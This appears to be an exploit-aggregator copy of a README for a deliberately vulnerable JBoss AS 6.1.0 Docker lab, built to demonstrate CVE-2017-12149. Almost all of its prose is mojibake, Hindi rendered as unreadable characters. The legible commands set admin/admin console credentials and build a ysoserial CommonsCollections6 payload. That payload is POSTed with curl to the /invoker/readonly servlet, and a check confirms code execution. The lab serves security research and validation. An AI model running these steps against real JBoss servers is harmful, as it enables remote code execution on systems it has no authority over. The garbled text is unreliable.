## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GALOIS17-CVE-2017-12149-PLAYGROUND
рдЕрдиреЗрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЙрджреНрдпреЛрдЧ (рдмреИрдВрдХрд┐рдВрдЧ, рд╕реНрд╡рд╛рд╕реНрдереНрдп рд╕реЗрд╡рд╛, рдФрд░ рд╡рд┐рдирд┐рд░реНрдорд╛рдг) рд▓реАрдЧреЗрд╕реА рдорд┐рдбрд▓рд╡реЗрдпрд░ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ JBoss 5 рдпрд╛ 6 рдкрд░ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЪреВрдБрдХрд┐ рдпреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ WildFly (JBoss рдХреЗ рдЙрддреНрддрд░рд╛рдзрд┐рдХрд╛рд░реА) рдХреЗ рдЖрдзреБрдирд┐рдХ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдорд╛рдЗрдЧреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдирд╛рдЬреБрдХ рд╣реЛрддреЗ рд╣реИрдВ, рд╕рдВрдЧрдарди рдЙрдиреНрд╣реЗрдВ рдкреИрдЪ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп "рдПрдпрд░-рдЧреИрдк" рдХрд░рдирд╛ рдпрд╛ VPN рдХреЗ рдкреАрдЫреЗ рдЫрд┐рдкрд╛рдирд╛ рдЪреБрдирддреЗ рд╣реИрдВред рдЬрдм рд╡реЗ рдкрд░рд┐рдзрд┐ рд╕реБрд░рдХреНрд╖рд╛рдПрдБ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ, рддрдм рднреА рднреЗрджреНрдпрддрд╛ рд╡рд╣реАрдВ рдореМрдЬреВрдж рд░рд╣рддреА рд╣реИ, рдЬреАрд╡рд┐рдд рдФрд░ рдЕрдирдкреИрдЪреНрдбред
# JBoss AS 6.1.0 рднреЗрджреНрдпрддрд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛
рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдФрд░ рднреЗрджреНрдпрддрд╛ рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдПрдХ рдХрдВрдЯреЗрдирд░реАрдХреГрдд JBoss Application Server 6.1.0 рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдЗрд╕реЗ Java Deserialization рдФрд░ JBoss Seam EL Injection рджреЛрд╖реЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
* * *
## рддреНрд╡рд░рд┐рдд рдЖрд░рдВрдн
### 1\. рдмрд┐рд▓реНрдб рдФрд░ рд▓реЙрдиреНрдЪ
рдХрд╕реНрдЯрдо рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдВрдЯреЗрдирд░ рдХреЛ рд╕реНрдХреНрд░реИрдЪ рд╕реЗ рдмрд┐рд▓реНрдб рдХрд░реЗрдВ:
root@kitploit:~
docker-compose build --no-cache
docker-compose up -d
### 2\. рдкрд░реНрдпрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪреЗрдВ
JBoss рдХрдВрд╕реЛрд▓: http://localhost:8080/admin-console/
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо: admin
рдкрд╛рд╕рд╡рд░реНрдб: admin
рд╕рддреНрдпрд╛рдкрд┐рдд рднреЗрджреНрдпрддрд╛рдПрдБ
#### 1\. Java Deserialization (CVE-2017-12149)
рдЗрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕рдмрд╕реЗ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдкрде /invoker/readonly рдкрд░ рд╕реНрдерд┐рдд HTTPServerILServlet рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред
рд╕рддреНрдпрд╛рдкрди рдЪрд░рдг:
/tmp рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП ysoserial рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреЗрд▓реЛрдб рдЬрдирд░реЗрдЯ рдХрд░реЗрдВ:
root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned" > poc.ser
рдмрд╛рдЗрдирд░реА рдкреЗрд▓реЛрдб рдХреЛ curl рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗрдВ:
root@kitploit:~
curl -v -X POST --data-binary @poc.ser http://localhost:8080/invoker/readonly
рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВ рдХрд┐ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛рдо рдХрд░ рдЧрдпрд╛:
root@kitploit:~
docker exec -it jboss-custom-lab ls /tmp/pwned
* * *
рд╕реБрд░рдХреНрд╖рд╛ рдЕрд╕реНрд╡реАрдХрд░рдг рдпрд╣ рд╡рд╛рддрд╛рд╡рд░рдг рдЬрд╛рдирдмреВрдЭрдХрд░ рднреЗрджреНрдп рд╣реИред рдЗрд╕рдореЗрдВ рдЕрдирдкреИрдЪреНрдб, рдЬреАрд╡рди-рдЕрдВрдд (end-of-life) рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╢рд╛рдорд┐рд▓ рд╣реИред
рдЗрд╕реЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕рд░реНрд╡рд░ рдкрд░ рддреИрдирд╛рдд рди рдХрд░реЗрдВред
рдЗрди рдЯреВрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рди рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред
рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдиреБрд╕рдВрдзрд╛рди рдХреЗ рд▓рд┐рдП рд╡рд┐рдХрд╕рд┐рддред
рдирд┐рд░реНрднрд░рддрд╛рдПрдБ: https://github.com/frohoff/ysoserial